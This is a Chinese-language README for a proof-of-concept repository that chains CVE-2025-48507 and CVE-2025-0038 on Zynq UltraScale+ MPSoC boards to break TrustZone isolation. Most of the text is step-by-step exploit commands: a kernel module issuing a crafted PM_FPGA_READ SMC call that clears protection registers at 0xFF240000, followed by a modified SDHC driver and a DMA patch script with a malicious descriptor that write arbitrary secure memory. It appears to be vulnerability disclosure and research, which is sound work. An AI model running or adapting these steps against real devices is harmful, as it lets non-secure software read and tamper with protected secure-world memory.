非安全软件可利用CVE-2025-48507和CVE-2025-0038在Zynq UltraScale+平台上获得对安全世界的读/写访问权限,从而破坏TrustZone隔离。为此,非安全软件利用CVE-2025-0038和CVE-2025-48507清除IOU_AXI_WPRTCN和IOU_AXI_RPRTCN寄存器(0xFF240000),将SD主机控制器切换为安全主机。然后,非安全软件(例如Linux)利用SD主机控制器(从接口仍为非安全)写入或读取任意安全内存。
更多信息:
受影响平台:
受影响组件:
source/ : 用于在Zynq UltraScale+ MPSoC(ZC104)上重现此PoC的源码
利用CVE-2025-48507和CVE-2025-0038
smc-tt.c: 基本内核模块,允许非安全Linux发起任意SMC调用。
Makefile: 用于交叉编译内核模块的Makefile(需调整路径)。
利用CVE-2025-0038和CVE-2025-48507
doc/ : 介绍TF-A和PMU级别安全漏洞的演示文稿和研究文章。
hw_debug/: 用于在APU和PMU处理器上调试TF-A的硬件调试器脚本。它们提供了调试PMU固件和TF-A中受影响函数的环境,并确认攻击成功。这些脚本需与Trace32和Lauterbach PowerDebug PRO JTAG硬件调试器配合使用。硬件调试器已连接到ZCU104的JTAG端口(J180)。
搭建受影响的环境(如Linux、TF-A、PMU固件等)。
构建Linux时,通过kconfig将SDHC驱动程序设置为可加载内核模块。仅在利用时需执行此步骤。
编译内核模块smc-tt.c和sdhci.c。提供的Makefile可通过调整内核和编译器路径来使用。
为利用这些CVE,将smc-tt.ko添加到Linux根文件系统
为利用这些CVE,将sdhci.ko和dma_patch.sh添加到Linux根文件系统
CVE的PoC与利用:
在PoC中,系统(即fslb、uboot等)从SD卡启动。Linux的根文件系统刷写在USB上。对于DMA攻击,Linux使用SD卡上的一个空分区,该分区由修改后的SDHC驱动程序(sdhci.ko)驱动的SD主机控制器访问。
如果仅测试CVE,可跳过步骤2、3和5。
U-boot命令,用于在非安全世界中启动Linux,其根文件系统位于USB分区上:
setenv bootargs root="/dev/sda" rw rootwait; fatload mmc 0 0x200000 Image && fatload mmc 0 0x1e0000 system.dtb && booti 0x200000 - 0x1e0000
插入修改后的SDHC驱动程序以执行任意DMA访问:
insmod /sdhci.ko
insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-pltfm.ko
insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-of-arasan.ko
尝试通过修改后的SDHC驱动程序修补安全内存。这应该会失败,因为SDHC仍为非安全:
./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3
ARG1: PAYLOAD
ARG2: 用于执行恶意DMA访问的恶意描述符。
ARG3: 由修改后的SDHC驱动程序控制的SD主机控制器所管理的设备分区。
利用CVE清除IOU_AXI_WPRTCN和IOU_AXI_RPRTCN(0xFF240000):
insmod /smc-tt.ko r0=0xc200002E r1=0xff24000000000100 r2=0x100000000
0xc200002E: 受影响的SMC调用(PM_FPGA_READ)。
0xff24000000000100: 要清除的地址(0xFF240000)(即IOU_AXI_RPRTCN/IOU_AXI_WPRTCN)和要清除的字节数(0x00000100)
0x100000000: 将PL数据读回主内存(0x1)。由于未加载任何内容,这将简单地清除目标内存区域。
更多关于PM_FPGA_READ参数的信息:https://github.com/ARM-software/arm-trusted-firmware/blob/c8eb6b042b57a145945a80fe4949c6f678309925/plat/xilinx/zynqmp/pm_service/zynqmp_pm_api_sys.c#L1693
现在Linux可以利用SDHC DMA完全访问安全内存
再次尝试修补安全内存(0xFFDC0000)。由于SDHC现在为安全,这次应该成功:
./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3